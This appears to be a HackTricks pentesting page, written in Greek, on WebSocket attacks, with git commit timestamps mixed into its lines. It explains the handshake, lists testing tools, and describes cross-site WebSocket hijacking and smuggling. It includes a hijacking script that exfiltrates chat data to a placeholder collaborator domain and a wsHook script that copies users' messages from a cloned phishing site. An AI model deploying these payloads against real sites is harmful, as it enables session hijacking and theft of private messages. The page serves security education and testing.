hacktricks/pentesting-web/websocket-attacks.md

185 lines
18 KiB
Markdown
Raw Normal View History

# WebSocket Attacks
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Τι είναι τα WebSockets
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
2024-02-10 22:40:18 +00:00
### Δημιουργία Συνδέσεων WebSocket
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Σε σύνοψη, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
Ο πρωτόκολλος `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση.
Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια διαδικασία χειραψίας μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:
Ο προγράμματος περιήγησης στέλνει ένα αίτημα χειραψίας:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Απάντηση χειραψίας του διακομιστή:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.
**Βασικά Σημεία του WebSocket Handshake:**
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake.
2024-02-10 22:40:18 +00:00
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για επιβεβαίωση ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
Αυτές οι δυνατότητες διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.
### Linux console
Μπορείτε να χρησιμοποιήσετε το `websocat` για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
2024-02-10 22:40:18 +00:00
Ή για να δημιουργήσετε έναν διακομιστή websocat:
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
2021-02-22 16:59:36 +00:00
Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.\
Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
2021-02-22 16:59:36 +00:00
Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** **σε websockets αυτόματα.**
2021-12-30 10:14:05 +00:00
### Websocket Debug tools
* **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
* Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
* [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) είναι μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets.**
## Websocket Lab
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, γνωστό και ως **cross-origin WebSocket hijacking**, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή παρόμοια μέτρα ασφαλείας.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.
### Simple Attack
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένο στο αποσταλθέν cookie.
2021-02-22 16:59:36 +00:00
Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα αποσταλεί **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2024-02-10 22:40:18 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2024-02-10 22:40:18 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
Σε αυτή την ανάρτηση του blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλονταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**.
2023-03-15 09:29:52 +00:00
### Stealing data from user
2021-02-22 16:59:36 +00:00
Αντιγράψτε την web εφαρμογή που θέλετε να μιμηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2024-02-10 22:40:18 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2024-02-10 22:40:18 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 22:24:52 +00:00
}
2021-02-22 16:59:36 +00:00
```
Τώρα κατεβάστε το αρχείο `wsHook.js` από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\
Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
## Συνθήκες Αγώνα
2021-02-22 16:59:36 +00:00
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [ελέγξτε αυτές τις πληροφορίες για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
2024-02-10 22:40:18 +00:00
## Άλλες ευπάθειες
Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον διακομιστή και στον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
2021-02-23 13:55:20 +00:00
2022-06-19 14:00:50 +00:00
## **WebSocket Smuggling**
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2024-02-10 22:40:18 +00:00
## Αναφορές
2021-02-23 13:55:20 +00:00
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
2020-07-29 09:22:22 +00:00
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Υποστήριξη HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}